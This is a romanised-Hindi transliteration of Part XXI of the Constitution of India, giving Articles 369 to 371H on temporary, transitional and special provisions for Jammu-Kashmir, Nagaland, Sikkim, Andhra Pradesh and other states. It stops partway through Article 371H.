भारत का संविधान- अस्थायी, संक्रमणकालीन और विशेष उपबंध

bhag 21:asthayi, sankramanakalin aur vishesh upabandh

369. rajy soochi ke kuchh vishayoan ke sanbandh mean vidhi banane ki sansad ki is prakar asthayi shakti mano ve samavarti soochi ke vishay hoan

is sanvidhan mean kisi bat ke hote hue bhi, sansad ko is sanvidhan ke praranbh se paanch varsh ki avadhi ke dauran nimnalikhit vishayoan ke bare mean vidhi banane ki is prakar shakti hogi mano ve vishay samavarti soochi mean praganit hoan, arthath‌: --
(k) sooti aur ooni vastroan, kachchi kapas (jisake aantargat oti huee ruee aur bina oti ruee ya kapas hai), binaule, kagaj (jisake aantargat akhabari kagaj hai), khady padarth (jisake aantargat khady tilahan aur tel haian), pashuoan ke chare (jisake aantargat khali aur any sarakrit chare haian), koyale (jisake aantargat kok aur koyale ke vyutpad haian), lohe, ispat aur abhrak ka kisi rajy ke bhitar vyapar aur vanijy tatha unaka utpadan, praday aur vitaran;-

(kh) khand (k) mean varnit vishayoan mean se kisi vishay se sanbandhit vidhiyoan ke viruddh aparadh, un vishayoan mean se kisi ke sanbandh mean uchchatam nyayalay se bhinn sabhi nyayalayoan ki adhikarita aur shaktiyaan, tatha un vishayoan mean se kisi ke sanbandh mean phis kiantu isake aantargat kisi nyayalay mean li jane vali phis nahian hai, kiantu sansad dvara banaee gee koee vidhi, jise sansad is anuchchhed ke upabandhoan ke abhav mean banane ke lie saksham nahian hoti, ukt avadhi ki samapti par akshamata ki matra tak un batoan ke sivay prabhavi nahian rahegi jinhean us avadhi ki samapti ke pahale kiya gaya hai ya karane ka lop kiya gaya hai. -

370. jammoo-kashmir rajy ke sanbandh mean asthayi upabandh

(1) is sanvidhan mean kisi bat ke hote hue bhi,---
(k) anuchchhed 238 ke upabandh jammoo-kashmir rajy ke sanbandh mean lagoo nahian hoange ;-
(kh) ukt rajy ke lie vidhi banane ki sansad ki shakti,---
(i) sangh soochi aur samavarti soochi ke un vishayoan tak simit hogi jinako rashtrapati, us rajy ki sarakar se paramarsh karake, un vishayoan ke tatsthani vishay ghoshit kar de jo bharat dominiyan mean us rajy ke adhimilan ko shasit karane vale adhimilan patr mean aise vishayoan ke roop mean vinirdisht haian jinake sanbandh mean dominiyan vidhan-mandal us rajy ke lie vidhi bana sakata hai; aur-
(ii) ukt soochiyoan ke un any vishayoan tak simit hogi jo rashtrapati, us rajy ki sarakar ki sahamati se, adesh dvara, vinirdisht kare. -
spashtikaran--is anuchchhed ke prayojanoan ke lie, us rajy ki sarakar se vah vyakti abhipret hai jise rashtrapati se, jammoo-kashmir ke maharaja ki 5 march, 1948 ki udh‍ghoshana ke adhin tatsamay padasth mantri-parishad ki salah par kary karane vale jammoo-kashmir ke maharaja ke roop mean tatsamay manyata prapt thi;-
(g) anuchchhed 1 aur is anuchchhed ke upabandh us rajy ke sanbandh mean lagoo hoange;-
(gh) is sanvidhan ke aise any upabandh aise apavadoan aur upaantaranoan ke adhin rahate hue, jo rashtrapati adesh dvara vinirdisht kare, us rajy ke sanbandh mean lagoo hoange:-

parantu aisa koee adesh jo upakhand (kh) ke paira (i) mean nirdisht rajy ke adhimilan patr mean vinirdisht vishayoan se sanbandhit hai, us rajy ki sarakar se paramarsh karake hi kiya jaega, anyatha nahian:
parantu yah aur ki aisa koee adesh jo aantim poorvavarti parantuk mean nirdisht vishayoan se bhinn vishayoan se sanbandhit hai, us sarakar ki sahamati se hi kiya jaega, anyatha nahian.
(2) yadi khand (1) ke upakhand (kh) ke paira (i) mean ya us khand ke upakhand (gh) ke doosare parantuk mean nirdisht us rajy ki sarakar ki sahamati, us rajy ka sanvidhan banane ke prayojan ke lie sanvidhan sabha ke bulae jane se pahale di jae to use aisi sanvidhan sabha ke samaksh aise vinishchay ke lie rakha jaega jo vah us par kare.
(3) is anuchchhed ke poorvagami upabandhoan mean kisi bat ke hote hue bhi, rashtrapati lok adhisoochana dvara ghoshana kar sakega ki yah anuchchhed pravartan mean nahian rahega ya aise apavadoan aur upaantaranoan sahit hi aur aisi tarikh se, pravartan mean rahega, jo vah vinirdisht kare:
parantu rashtrapati dvara aisi adhisoochana nikale jane se pahale khand (2) mean nirdisht us rajy ki sanvidhan sabha ki sipharish avashyak hogi.

[371 maharashtr aur gujarat rajyoan ke sanbandh mean vishesh upabandh

(2) is sanvidhan mean kisi bat ke hote hue bhi, rashtrapati, [maharashtr ya gujarat rajy] ke sanbandh mean kie ge adesh dvara: --
(k) yathasthiti, vidarbh, marathava da [aur shesh maharashtr yat saurashtr, kachchh aur shesh gujarat ke lie prithakh vikas bordoan ki sthapana ke lie, is upabandh sahit ki in bordoan mean se pratyek ke karyakaran par ek prativedan rajy vidhan sabha ke samaksh prativarsh rakha jaega,
(kh) samast rajy ki avashyakataoan ka dhyan rakhate hue, ukt kshetroan ke vikas vyay ke lie nidhiyoan ke samyapoorn abantan ke lie, aur
(g) samast rajy ki avashyakataoan ka dhyan rakhate hue, ukt sabhi kshetroan ke sanbandh mean, takaniki shiksha aur vyavasayik prashikshan ke lie paryapt suvidhaoan ki aur rajy sarakar ke niyantran ke adhin sevaoan mean niyojan ke lie paryapt avasaroan ki vyavastha karane vali samyapoorn vyavastha karane ke lie, rajyapal ke kisi vishesh uttaradayitv ke lie upabandh kar sakega.

371k. nagalaiand rajy ke sanbandh mean vishesh upabandh

(1) is sanvidhan mean kisi bat ke hote hue bhi,--
(k) nimnalikhit ke sanbandh mean sansad ka koee adhiniyam nagalaiand rajy ko tab tak lagoo nahian hoga jab tak nagalaiand ki vidhan sabha sankalp dvara aisa vinishchay nahian karati hai, arthath‌ : --
(i) nagaoan ki dharmik ya samajik prathaean;
(ii) naga rudhijany vidhi aur prakriya;
(iii) sivil aur daandik nyay prashasan, jahaan vinishchay naga rudhijany vidhi ke anusar hone haian;
(iv) bhoomi aur usake sanpatti srotoan ka svamitv aur aantaran;

(kh) nagalaiand ke rajyapal ka nagalaiand rajy mean vidhi aur vyavastha ke sanbadh mean tab tak vishesh uttaradayitv rahega jab tak us rajy ke nirman ke thik pahale naga paha di tyuenasaang kshetr mean vidyaman aantarik ashaanti, usaki ray mean, usamean ya usake kisi bhag mean bani rahati hai aur rajyapal, us sanbandh mean apane krityoan ka nirvahan karane mean ki jane vali karravaee ke bare mean apane vyaktigat nirnay ka prayog, mantri-parishad se paramarsh karane ke pashchath‌ karega:
parantu yadi yah prashn uthata hai ki koee mamala aisa mamala hai ya nahian jisake sanbandh mean rajyapal se is upakhand ke adhin apeksha ki gee hai ki vah apane vyaktigat nirnay ka prayog karake kary kare to rajyapal ka apane vivek se kiya gaya vinishchay aantim hoga aur rajyapal dvara ki gee kisi bat ki vidhimanyata is adhar par prashnagat nahian ki jaegi ki use apane vyaktigat nirnay ka prayog karake kary karana chahie tha ya nahian :

parantu yah aur ki yadi rajyapal se prativedan milane par ya anyatha rashtrapati ka yah samadhan ho jata hai ki ab yah avashyak nahian hai ki nagalaiand rajy mean vidhi aur vyavastha ke sanbandh mean rajyapal ka vishesh uttaradayitv rahe to vah, adesh dvara, nidesh de sakega ki rajyapal ka aisa uttaradayitv us tarikh se nahian rahega jo adesh mean vinirdisht ki jae ;

(g) anudan ki kisi maang ke sanbandh mean apani sipharish karane mean, nagalaiand ka rajyapal yah sunishchit karega ki kisi vinirdisht seva ya prayojan ke lie bharat ki sanchit nidhi mean se bharat sarakar dvara diya gaya koee dhan us seva ya prayojan se sanbandhit anudan ki maang mean, n ki kisi any maang mean, sammilit kiya jae;
(gh) us tarikh se jise nagalaiand ka rajyapal is nimitt lok adhisoochana dvara vinirdisht kare, tyuenasaang zile ke lie ek pradeshik parishad sthapit ki jaegi jo paiantis sadasyoan se milakar banegi aur rajyapal nimnalikhit batoan ka upabandh karane ke lie niyam apane vivek se banaega, arthath‌ :--

(i) pradeshik parishad ki sanrachana aur vah riti jisase pradeshik parishad ke sadasy chune jaeange :
parantu tyuenasaang zile ka upayukt pradeshik parishad ka paden adhyaksh hoga aur pradeshik parishad ka upadhyaksh usake sadasyoan dvara apane mean se nirvachit kiya jaega;
(ii) pradeshik parishad ke sadasy chune jane ke lie aur sadasy hone ke lie arhataean;
(iii) pradeshik parishad ke sadasyoan ki padavadhi aur unako die jane vale vetan aur bhatte, yadi koee hoan;
(iv) pradeshik parishad ki prakriya aur kary sanchalan;
(v) pradeshik parishad ke adhikariyoan aur karmacharivriand ki niyukti aur unaki seva ki shartean; aur
(vi) koee any vishay jisake sanbandh mean pradeshik parishad ke gathan aur usake uchit karyakaran ke lie niyam banane avashyak haian. (2) is sanvidhan mean kisi bat ke hote hue bhi, nagalaiand rajy ke nirman ki tarikh se das varsh ki avadhi tak ya aisi atirikt avadhi ke lie jise rajyapal, pradeshik parishad ki sipharish par, lok adhisoochana dvara, is nimitt vinirdisht kare,--
(k) tyuenasaang zile ka prashasan rajyapal dvara chalaya jaega;
(kh) jahaan bharat sarakar dvara nagalaiand sarakar ko, sanpoorn nagalaiand rajy ki avashyakataoan ki poorti ke lie koee dhan diya jata hai vahaan, rajyapal apane vivek se tyuenasaang zile aur shesh rajy ke bich us dhan ke samyapoorn abantan ke lie prabandh karega;
(g) nagalaiand vidhan-mandal ka koee adhiniyam tyuenasaang zile ko tab tak lagoo nahian hoga jab tak rajyapal, pradeshik parishad ki sipharish par, lok adhisoochana dvara, is prakar nidesh nahian deta hai aur aise kisi adhiniyam ke sanbandh mean aisa nidesh dete hue rajyapal yah nirdisht kar sakega ki vah adhiniyam tyuenasaang zile ya usake kisi bhag ko lagoo hone mean aise apavadoan ya upaantaranoan ke adhin rahate hue, prabhavi hoga jinhean rajyapal pradeshik parishad ki sipharish par vinirdisht kare:
parantu is upakhand ke adhin diya gaya koee nidesh is prakar diya ja sakega ki usaka bhootalakshi prabhav ho;
(gh) rajyapal tyuenasaang zile ki shaanti, unnati aur sushasan ke lie viniyam bana sakega aur is prakar banae ge viniyam us zile ko tatsamay lagoo sansad ke kisi adhiniyam ya kisi any vidhi ka, yadi avashyak ho to bhootalakshi prabhav se nirasan ya sanshodhan kar sakeange;
(n) (i) nagalaiand vidhan sabha mean tyuenasaang zile ka pratinidhitv karane vale sadasyoan mean se ek sadasy ko rajyapal, mukhyamantri ki salah par tyuenasaang kary mantri niyukt karega aur mukhyamantri apani salah dene mean poorvokt sadasyoan ki bahusankhh‍ya ki sipharish par kary karega;
(ii) tyuenasaang kary mantri tyuenasaang zile se sanbandhit sabhi vishayoan ki babat kary karega aur unake sanbandh mean rajyapal ke pas usaki sidhi pahuanch hogi kiantu vah unake sanbandh mean mukhyamantri ko janakari deta rahega; (ch) is khand ke poorvagami upabandhoan mean kisi bat ke hote hue bhi, tyuenasaang zile se sanbandhit sabhi vishayoan par aantim vinishchay rajyapal apane vivek se karega;
(chh) anuchchhed 54 aur anuchchhed 55 mean tatha anuchchhed 80 ke khand (4) mean rajy ki vidhan sabha ke nirvachit sadasyoan ke ya aise pratyek sadasy ke prati nirdeshoan ke aantargat is anuchchhed ke adhin sthapit pradeshik parishad dvara nirvachit nagalaiand vidhan sabha ke sadasyoan ya sadasy ke prati nirdesh hoange;
(j) anuchchhed 170 mean--
(i) khand (1) nagalaiand vidhan sabha ke sanbandh mean is prakar prabhavi hoga mano sath shabd ke sthan par chhiyalis shabd rakh diya gaya ho;
(ii) ukt khand mean, us rajy mean pradeshik nirvachan-kshetroan se pratyaksh nirvachan ke prati nirdesh ke aantargat is anuchchhed ke adhin sthapit pradeshik parishad ke sadasyoan dvara nirvachan hoga;
(iii) khand (2) aur khand (3) mean pradeshik nirvachan-kshetroan ke prati nirdesh se kohima aur mokokachuang ziloan mean pradeshik nirvachan-kshetroan ke prati nirdesh abhipret hoange.
(3) yadi is anuchchhed ke poorvagami upabandhoan mean se kisi upabandh ko prabhavi karane mean koee kathinaee utpann hoti hai to rashtrapati, adesh dvara, koee aisi bat (jisake aantargat kisi any anuchchhed ka koee anukoolan ya upaantaran hai) kar sakega jo us kathinaee ko door karane ke prayojan ke lie use avashyak pratit hoti hai:
parantu aisa koee adesh nagalaiand rajy ke nirman ki tarikh se tin varsh ki samapti ke pashchath‌ nahian kiya jaega.

spashtikaran

is anuchchhed mean, kohima, mokokachuang aur tyuenasaang ziloan ka vahi arth hai jo nagalaiand rajy adhiniyam, 1962 mean hai.

371kh. asam rajy ke sanbandh mean vishesh upabandh

is sanvidhan mean kisi bat ke hote hue bhi, rashtrapati, asam rajy ke sanbandh mean kie ge adesh dvara, us rajy ki vidhan sabha ki ek samiti ke gathan aur krityoan ke lie, jo samiti chhathi anusoochi ke paira 20 se sanlashan sarani ke [bhag1] mean vinirdisht janajati kshetroan se nirvachit us vidhan sabha ke sadasyoan se aur us vidhan sabha ke utane any sadasyoan se milakar banegi jitane adesh mean vinirdisht kie jaean tatha aisi samiti ke gathan aur usake uchit karyakaran ke lie us vidhan sabha ki prakriya ke niyamoan mean kie jane vale upaantaranoan ke lie upabandh kar sakega.

371g. manipur rajy ke sanbandh mean vishesh upabandh

(1) is sanvidhan mean kisi bat ke hote hue bhi, rashtrapati, manipur rajy ke sanbandh mean kie ge adesh dvara, us rajy ki vidhan sabha ki ek samiti ke gathan aur krityoan ke lie, jo samiti us rajy ke paha di kshetroan se nirvachit us vidhan sabha ke sadasyoan se milakar banegi, rajy ki sarakar ke kamakaj ke niyamoan mean aur rajy ki vidhan sabha ki prakriya ke niyamoan mean kie jane vale upaantaranoan ke lie aur aisi samiti ka uchit karyakaran sunishchit karane ke uddeshy se rajyapal ke kisi vishesh uttaradayitv ke lie upabandh kar sakega.

(2) rajyapal prativarsh ya jab kabhi rashtrapati aisi apeksha kare, manipur rajy ke paha di kshetroan ke prashasan ke sanbandh mean rashtrapati ko prativedan dega aur sangh ki karyapalika shakti ka vistar ukt kshetroan ke prashasan ke bare mean rajy ko nidesh dene tak hoga.

spashtikaran

is anuchchhed mean, paha di kshetroan se aise kshetr abhipret haian jinhean rashtrapati, adesh dvara, paha di kshetr ghoshit kare.

371gh. aandhr pradesh rajy ke sanbandh mean vishesh upabandh

(1) rashtrapati, aandhr pradesh rajy ke sanbandh mean kie ge adesh dvara, sanpoorn aandhr pradesh rajy ki avashyakataoan ka dhyan rakhate hue, us rajy ke vibhinn bhagoan ke logoan ke lie lok niyojan ke vishay mean aur shiksha ke vishay mean samyapoorn avasaroan aur suvidhaoan ka upabandh kar sakega aur rajy ke vibhinn bhagoan ke lie bhinn-bhinn upabandh kie ja sakeange.
(2) khand (1) ke adhin kiya gaya adesh vishishtataya --
(k) rajy sarakar se yah apeksha kar sakega ki vah rajy ki sivil seva mean padoan ke kisi varg ya vargoan ka athava rajy ke adhin sivil padoan ke kisi varg ya vargoan ka rajy ke bhinn bhagoan ke lie bhinn sthaniy kadaroan mean gathan kare aur aise siddhaantoan aur prakriya ke anusar jo adesh mean vinirdisht ki jae, aise padoan ko dharan karane vale vyaktiyoan ka is prakar gathit sthaniy kadaroan mean abantan kare;
(kh) rajy ke aise bhag ya bhagoan ko vinirdisht kar sakega jo--
(i) rajy sarakar ke adhin kisi sthaniy kadar mean (chahe usaka gathan is anuchchhed ke adhin adesh ke anusaran mean ya anyatha kiya gaya hai) padoan ke lie sidhi bharti ke lie,
(ii) rajy ke bhitar kisi sthaniy pradhikari ke adhin kisi kadar mean padoan ke lie sidhi bharti ke lie, aur
(iii) rajy ke bhitar kisi vishvavidyalay mean ya rajy sarakar ke niyantran ke adhin kisi any shiksha sanstha mean pravesh ke prayojan ke lie, sthaniy kshetr samajhe jaeange;
(g) vah vistar vinirdisht kar sakega jis tak, vah riti vinirdisht kar sakega jisase aur ve shartean vinirdisht kar sakega jinake adhin, yathasthiti, aise kadar, vishvavidyalay ya any shiksha sanstha ke sanbandh mean aise abhyarthiyoan ko, jinhoanne adesh mean vinirdisht kisi avadhi ke lie sthaniy kshetr mean nivas ya adhyayan kiya hai –
(i) upakhand (kh) mean nirdisht aise kadar mean jo is nimitt adesh mean vinirdisht kiya jae, padoan ke lie sidhi bharti ke vishay mean;
(ii) upakhand (kh) mean nirdisht aise vishvavidyalay ya any shiksha sanstha mean jo is nimitt adesh mean vinirdisht ki jae, pravesh ke vishay mean, adhiman diya jaega ya unake lie arakshan kiya jaega.
(3) rashtrapati, adesh dvara, aandhr pradesh rajy ke lie ek prashasanik adhikaran ke gathan ke lie upabandh kar sakega jo adhikaran nimnalikhit vishayoan ki babat aisi adhikarita, shakti aur pradhikar ka jisake aantargat vah adhikarita, shakti ya pradhikar hai jo sanvidhan (battisavaan sanshodhan) adhiniyam, 1973 ke praranbh se thik pahale (uchchatam nyayalay se bhinn) kisi nyayalay dvara athava kisi adhikaran ya any pradhikari dvara prayoktavy tha prayog karega jo adesh mean vinirdisht kiya jae, arthath‌ :--
(k) rajy ki sivil seva mean aise varg ya vargoan ke padoan par athava rajy ke adhin aise varg ya vargoan ke sivil padoan par athava rajy ke bhitar kisi sthaniy pradhikari ke niyantran ke adhin aise varg ya vargoan ke padoan par jo adesh mean vinirdisht kie jaean, niyukti, abantan ya pronnati;
(kh) rajy ki sivil seva mean aise varg ya vargoan ke padoan par athava rajy ke adhin aise varg ya vargoan ke sivil padoan par athava rajy ke bhitar kisi sthaniy pradhikari ke niyantran ke adhin aise varg ya vargoan ke padoan par jo adesh mean vinirdisht kie jaean, niyukt, abantit ya pronnat vyaktiyoan ki jyeshthata;
(g) rajy ki sivil seva mean aise varg ya vargoan ke padoan par athava rajy ke adhin aise varg ya vargoan ke sivil padoan par athava rajy ke bhitar kisi sthaniy pradhikari ke niyantran ke adhin aise varg ya vargoan ke padoan par niyukt, abantit ya pronnat vyaktiyoan ki seva ki aisi any shartean jo adesh mean vinirdisht ki jaean.

(4) khand (3) ke adhin kiya gaya adesh

(k) prashasanik adhikaran ko usaki adhikarita ke bhitar kisi vishay se sanbandhit vyathaoan ke nivaran ke lie aise abhyavedan prapt karane ke lie, jo rashtrapati adesh mean vinirdisht kare aur us par aise adesh karane ke lie jo vah prashasanik adhikaran thik samajhata hai, pradhikrit kar sakega;
(kh) prashasanik adhikaran ki shaktiyoan aur pradhikaroan aur prakriya ke sanbandh mean aise upabandh (jinake aantargat prashasanik adhikaran ki apane avaman ke lie dand dene ki shakti ke sanbandh mean upabandh haian) aantarvisht kar sakega jo rashtrapati avashyak samajhe;
(g) prashasanik adhikaran ko usaki adhikarita ke bhitar ane vale vishayoan se sanbandhit aur us adesh ke praranbh se thik pahale (uchchatam nyayalay se bhinn) kisi nyayalay athava kisi adhikaran ya any pradhikari ke samaksh lanbit karyavahiyoan ke aise vargoan ke, jo adesh mean vinirdisht kie jaean, aantaran ke lie upabandh kar sakega;
(gh) aise anupoorak, anushangik aur parinamik upabandh (jinake aantargat phis ke bare mean aur parisima, sakshy ke bare mean ya tatsamay pravritt kisi vidhi ko kinhian apavadoan ya upaantaranoan ke adhin rahate hue lagoo karane ke lie upabandh haian, aantarvisht kar sakega jo rashtrapati avashyak samajhe.
(5) prashasanik adhikaran ka kisi mamale ko aantim roop se nipatane vala adesh, rajy sarakar dvara usaki pushti kie jane par ya adesh kie jane ki tarikh se tin mas ki samapti par, inamean se jo bhi pahale ho, prabhavi ho jaega:
parantu rajy sarakar, vishesh adesh dvara, jo likhit roop mean kiya jaega aur jisamean usake karan vinirdisht kie jaeange, prashasanik adhikaran ke kisi adesh ko usake prabhavi hone ke pahale upaantarit ya radd kar sakegi aur aise mamale mean prashasanik adhikaran ka adesh, yathasthiti, aise upaantarit roop mean hi prabhavi hoga ya vah nishprabhav ho jaega.
(6) rajy sarakar dvara khand (5) ke parantuk ke adhin kiya gaya pratyek vishesh adesh, kie jane ke pashchath‌ yathashaky shighr, rajy vidhan-mandal ke donoan sadanoan ke samaksh rakha jaega.
uchchatam nyayalay ne pi.saanbamoorti aur any banam aandhr pradesh rajy aur ek any 1987 (1) es.si.si. pri. 362 mean anuchchhed 371gh ke khand (5) aur usake parantuk ko asanvaidhanik aur shoony ghoshit kiya.
(7) rajy ke uchch nyayalay ko prashasanik adhikaran par adhikshan ki shakti nahian hogi aur (uchchatam nyayalay se bhinn) koee nyayalay athava koee adhikaran, prashasanik adhikaran ki ya usake sanbandh mean adhikarita, shakti ya pradhikar ke adhin kisi vishay ki babat kisi adhikarita, shakti ya pradhikar ka prayog nahian karega.
(8) yadi rashtrapati ka yah samadhan ho jata hai ki prashasanik adhikaran ka nirantar bane rahana avashyak nahian hai to rashtrapati adesh dvara prashasanik adhikaran ka utsadan kar sakega aur aise utsadan se thik pahale adhikaran ke samaksh lanbit mamaloan ke aantaran aur nipatare ke lie aise adesh mean aise upabandh kar sakega jo vah thik samajhe.
(9) kisi nyayalay, adhikaran ya any pradhikari ke kisi nirnay, dikri ya adesh ke hote hue bhi,--
(k) kisi vyakti ki koee niyukti, padasthapana, pronnati ya aantaran ki babat jo--
(i) 1 navanbar, 1956 se pahale yathavidyaman haidarabad rajy ki sarakar ke ya usake bhitar kisi sthaniy pradhikari ke adhin us tarikh se pahale kisi pad par kiya gaya tha, ya
(ii) sanvidhan (battisavaan sanshodhan) adhiniyam, 1973 ke praranbh se pahale aandhr pradesh rajy ki sarakar ke adhin ya us rajy ke bhitar kisi sthaniy ya any pradhikari ke adhin kisi pad par kiya gaya tha, aur
(kh) upakhand (k) mean nirdisht kisi vyakti dvara ya usake samaksh ki gee kisi karravaee ya bat ki babat,
keval is adhar par ki aise vyakti ki niyukti, padasthapana, pronnati ya aantaran, aisi niyukti, padasthapana, pronnati ya aantaran ki babat, yathasthiti, haidarabad rajy ke bhitar ya aandhr pradesh rajy ke kisi bhag ke bhitar nivas ke bare mean kisi apeksha ka upabandh karane vali tatsamay pravritt vidhi ke anusar nahian kiya gaya tha, yah nahian samajha jaega ki vah avaidh ya shoony hai ya kabhi bhi avaidh ya shoony raha tha.
(10) is anuchchhed ke aur rashtrapati dvara isake adhin kie ge kisi adesh ke upabandh is sanvidhan ke kisi any upabandh mean ya tatsamay pravritt kisi any vidhi mean kisi bat ke hote hue bhi prabhavi hoange.
371n. aandhr pradesh mean keandriy vishvavidyalay ki sthapana-- sansad vidhi dvara, aandhr pradesh rajy mean ek vishvavidyalay ki sthapana ke lie upabandh kar sakegi.

371ch. sikkim rajy ke sanbandh mean vishesh upabandh

is sanvidhan mean kisi bat ke hote hue bhi,--
(k) sikkim rajy ki vidhan sabha kam se kam tis sadasyoan se milakar banegi;
(kh) sanvidhan (chhattisavaan sanshodhan) adhiniyam, 1975 ke praranbh ki tarikh se (jise is anuchchhed mean isake pashchath‌ niyat din kaha gaya hai)--
(i) sikkim ki vidhan sabha, jo aprail, 1974 mean sikkim mean hue nirvachanoan ke parinamasvaroop ukt nirvachanoan mean nirvachit battis sadasyoan se (jinhean isamean isake pashchath‌ asin sadasy kaha gaya hai) milakar bani hai, is sanvidhan ke adhin samyakh‌ roop se gathit sikkim rajy ki vidhan sabha samajhi jaegi;
(i) asin sadasy is sanvidhan ke adhin samyakh‌ roop se nirvachit sikkim rajy ki vidhan sabha ke sadasy samajhe jaeange; aur
(ii) sikkim rajy ki ukt vidhan sabha is sanvidhan ke adhin rajy ki vidhan sabha ki shaktiyoan ka prayog aur krityoan ka palan karegi;
(g) khand (kh) ke adhin sikkim rajy ki vidhan sabha samajhi gee vidhan sabha ki dasha mean, anuchchhed 172 ke khand (1) mean [paanch varsh] ki avadhi ke prati nirdeshoan ka yah arth lagaya jaega ki ve [char varsh] ki avadhi ke prati nirdesh haian aur [char varsh] ki ukt avadhi niyat din se praranbh huee samajhi jaegi ;
(gh) jab tak sansad vidhi dvara any upabandh nahian karati hai jab tak sikkim rajy ko lok sabha mean ek sthan abantit kiya jaega aur sikkim rajy ek sansadiy nirvachan-kshetr hoga jisaka nam sikkim sansadiy nirvachan-kshetr hoga;
(n) niyat din ko vidyaman lok sabha mean sikkim rajy ka pratinidhi sikkim rajy ki vidhan sabha ke sadasyoan dvara nirvachit kiya jaega;
(ch) sansad, sikkim ki janata ke vibhinn anubhagoan ke adhikaroan aur hitoan ki sanraksha karane ke prayojan ke lie sikkim rajy ki vidhan sabha mean un sthanoan ki sankhh‍ya ke lie jo aise anubhagoan ke abhyarthiyoan dvara bhare ja sakeange aur aise sabha nirvachan-kshetroan ke parisiman ke lie, jinase keval aise anubhagoan ke abhyarthi hi sikkim rajy ki vidhan sabha ke nirvachan ke lie kh de ho sakeange, upabandh kar sakegi;
(chh) sikkim ke rajyapal ka, shaanti ke lie aur sikkim ki janata ke vibhinn anubhagoan ki samajik aur arthik unnati sunishchit karane ke lie samyapoorn vyavastha karane ke lie vishesh uttaradayitv hoga aur is khand ke adhin apane vishesh uttaradayitv ka nirvahan karane mean sikkim ka rajyapal aise nideshoan ke adhin rahate hue jo rashtrapati samay-samay par dena thik samajhe, apane vivek se kary karega;
(j) sabhi sanpatti aur astiyaan (chahe ve sikkim rajy mean samavisht rajyakshetroan ke bhitar hoan ya bahar) jo niyat din se thik pahale sikkim sarakar mean ya sikkim sarakar ke prayojanoan ke lie kisi any pradhikari ya vyakti mean nihit thian, niyat din se sikkim rajy ki sarakar mean nihit ho jaeangi;
(jh) sikkim rajy mean samavisht rajyakshetroan mean niyat din se thik pahale uchch nyayalay ke roop mean karyarat uchch nyayalay niyat din ko aur se sikkim rajy ka uchch nyayalay samajha jaega;
(n) sikkim rajy ke rajyakshetr mean sarvatr sivil, daandik aur rajasv adhikarita vale sabhi nyayalay tatha sabhi nyayik, karyapalak aur anusachiviy pradhikari aur adhikari niyat din ko aur se apane-apane krityoan ko is sanvidhan ke upabandhoan ke adhin rahate hue, karate raheange;
(t) sikkim rajy mean samavisht rajyakshetr mean ya usake kisi bhag mean niyat din se thik pahale pravritt sabhi vidhiyaan vahaan tab tak pravritt bani raheangi jab tak kisi saksham vidhan-mandal ya any saksham pradhikari dvara unaka sanshodhan ya nirasan nahian kar diya jata hai;
(th) sikkim rajy ke prashasan ke sanbandh mean kisi aisi vidhi ko, jo khand (t) mean nirdisht hai, lagoo kie jane ko sukar banane ke prayojan ke lie aur kisi aisi vidhi ke upabandhoan ko is sanvidhan ke upabandhoan ke anuroop banane ke prayojan ke lie rashtrapati, niyat din se do varsh ke bhitar, adesh dvara, aisi vidhi mean nirasan ke roop mean ya sanshodhan ke roop mean aise anukoolan aur upaantaran kar sakega jo avashyak ya samichin hoan aur tab pratyek aisi vidhi is prakar kie ge anukoolanoan aur upaantaranoan ke adhin rahate hue prabhavi hogi aur kisi aise anukoolan ya upaantaran ko kisi nyayalay mean prashnagat nahian kiya jaega;
(d) uchchatam nyayalay ya kisi any nyayalay ko, sikkim ke sanbandh mean kisi aisi sandhi, karar, vachanabandh ya vaisi hi any likhat se, jo niyat din se pahale ki gee thi ya nishpadit ki gee thi aur jisamean bharat sarakar ya usaki poorvavarti koee sarakar pakshakar thi, utpann kisi vivad ya any vishay ke sanbandh mean adhikarita nahian hogi, kiantu is khand ki kisi bat ka yah arth nahian lagaya jaega ki vah anuchchhed 143 ke upabandhoan ka alpikaran karati hai;
(dh) rashtrapati, lok adhisoochana dvara, kisi aisi adhiniyamiti ka vistar, jo us adhisoochana ki tarikh ko bharat ke kisi rajy mean pravritt hai, aise nirbandhanoan ya upaantaranoan sahit, jo vah thik samajhata hai, sikkim rajy par kar sakega;
(n) yadi is anuchchhed ke poorvagami upabandhoan mean se kisi upabandh ko prabhavi karane mean koee kathinaee utpann hoti hai to rashtrapati, adesh dvara, koee aisi bat (jisake aantargat kisi any anuchchhed ka koee anukoolan ya upaantaran hai) kar sakega jo us kathinaee ko door karane ke prayojan ke lie use avashyak pratit hoti hai: parantu aisa koee adesh niyat din se do varsh ki samapti ke pashchath‌ nahian kiya jaega;
(i) sikkim rajy ya usamean samavisht rajyakshetroan mean ya unake sanbandh mean, niyat din ko praranbh hone vali aur us tarikh se jisako sanvidhan (chhattisavaan sanshodhan) adhiniyam, 1975 rashtrapati ki anumati prapt karata hai, thik pahale samapt hone vali avadhi ke dauran ki gee sabhi batean aur karravaiyaan, jahaan tak ve sanvidhan (chhattisavaan sanshodhan) adhiniyam, 1975 dvara yathasanshodhit is sanvidhan ke upabandhoan ke anuroop haian, sabhi prayojanoan ke lie is prakar yathasanshodhit is sanvidhan ke adhin vidhimanyatah ki gee samajhi jaeangi.

371chh. mijoram rajy ke sanbandh mean vishesh upabandh

is sanvidhan mean kisi bat ke hote hue bhi,--
(k) nimnalikhit ke sanbandh mean sansad ka koee adhiniyam mijoram rajy ko tab tak lagoo nahian hoga jab tak mijoram rajy ki vidhan sabha sankalp dvara aisa vinishchay nahian karati hai, arthath‌: -- (i) mijo logoan ki dharmik ya samajik prathaean;
(ii) mijo rudhijany vidhi aur prakriya;
(iii) sivil aur daandik nyay prashasan, jahaan vinishchay mijo rudhijany vidhi ke anusar hone haian;
(iv) bhoomi ka svamitv aur aantaran:
parantu is khand ki koee bat, sanvidhan (tirapanavaan sanshodhan) adhiniyam, 1986 ke praranbh se thik pahale mijoram sangh rajyakshetr mean pravritt kisi keandriy adhiniyam ko lagoo nahian hogi;
(kh) mijoram rajy ki vidhan sabha kam se kam chalis sadasyoan se milakar banegi.

371j. arunachal pradesh rajy ke sanbandh mean vishesh upabandh

is sanvidhan mean kisi bat ke hote hue bhi,--
(k)arunachal pradesh ke rajyapal ka arunachal pradesh rajy mean vidhi aur vyavastha ke sanbandh mean vishesh uttaradayitv rahega aur rajyapal, us sanbandh mean apane krityoan ka nirvahan karane mean ki jane vali karravaee ke bare mean apane vyaktigat nirnay ka prayog mantri-parishad se paramarsh karane ke pashchath‌ karega:
